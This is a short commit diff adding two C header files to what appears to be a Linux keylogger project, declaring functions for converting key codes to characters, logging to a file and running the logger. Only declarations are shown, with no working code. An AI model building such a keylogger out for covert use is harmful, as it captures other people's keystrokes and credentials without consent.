Added header files

Author: AustinATTS

src/linux/LinuxApp.h

@@ -0,0 +1,3 @@
+#pragma once
+
+int RunLinuxApp ( );

src/linux/LinuxKeyLogger.h

@@ -0,0 +1,9 @@
+#include <linux/input.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+char keycode_to_char (int code, int shift);
+void handle_backspace (FILE *log);
+int key_logger ( );